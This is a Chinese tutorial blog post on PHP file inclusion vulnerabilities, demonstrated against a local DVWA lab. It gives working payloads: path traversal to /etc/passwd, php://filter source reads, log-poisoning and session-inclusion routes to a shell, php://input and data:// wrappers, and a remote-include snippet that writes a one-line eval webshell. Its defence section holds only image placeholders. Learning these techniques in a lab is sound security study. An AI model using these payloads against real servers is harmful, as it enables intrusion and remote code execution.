文件包含漏洞(详解)

1. 文件包含:程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,例如 include “conn.php”。php常见的文件包含函数:

	include "conn.php": 当包含文件出现错误时,发出错误信息,继续执行
	include_once "conn.php":只包含一次
	require "conn.php": 当包含出现错误时,发出错误信息,不再执行
	require_once "conn.php":只包含一次

2. 漏洞出现的原因:
为了控制代码的灵活,程序要把要使用的函数写到一个文件中,其他需要其中的的函数执行,只需要通过该文件名包含进来,而且没有进行验证。
3.文件包含漏洞的分类
1)本地的文件包含漏洞:
a. 上传图片马,本地包含图片马getshell,使用下面包含路径包含图片马,菜刀连接下门面路径(做了没成功)
http://192.168.15.144/DVWA-1.9/vulnerabilities/fi/?page=…/…/hackable/uploads/mm.jpg
b. 本地包含读取网站源码,使用php为协议包含读取网站源码,获得base64加密源码
http://192.168.15.144/DVWA-1.9/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php 在这里插入图片描述
c. 包含日志文件, getshell
现在日志文件中写入带有小马的日志文件,具体做法是使用burp抓取对网站的访问请求,在访问路径就面加上小马,日志文件会记录到用户的请求信息,成功写入小马,后面只需菜刀连接即可:
在这里插入图片描述
d.包含session文件getshell
e. 获取服务器信息:././././././././././././ect/passwd
2)远程文件包含漏洞
远程文件包含与本地类似,只不过包含的是远程文件,需要注意:
a. php.ini中的配置选项allow_url_fopen和allow_url_include 的值为on
b. 包含的远程文件不能以php结尾,php结尾会直接被解析
c. 包含远程文件一个技巧,可以在远程文件中写入一个创建小马的程序,当成功包含后,会在本地创建一个小马文件,使用菜刀连接,即可getshell:

<?php 
fputs(fopen('xx.php','w'),'<?php @eval($_REQUEST["crazy"])?>');
?>

4. 伪协议的利
1)读取网站源码
index.php?page=php://filter/read=convert.base64-encode/resource=index.php
2)接收post文件,需要执行的内容放到post中 仅需要开启allow_url_include

 	index.php?php://input 

在这里插入图片描述
3)?page=data://text/plain,<?php phpinfo();?> 需要开启allow_url_open 和 allow_url_include
在这里插入图片描述
5. 防御方法:
在这里插入图片描述
6. 思维导图
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 10
    点赞
  • 58
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值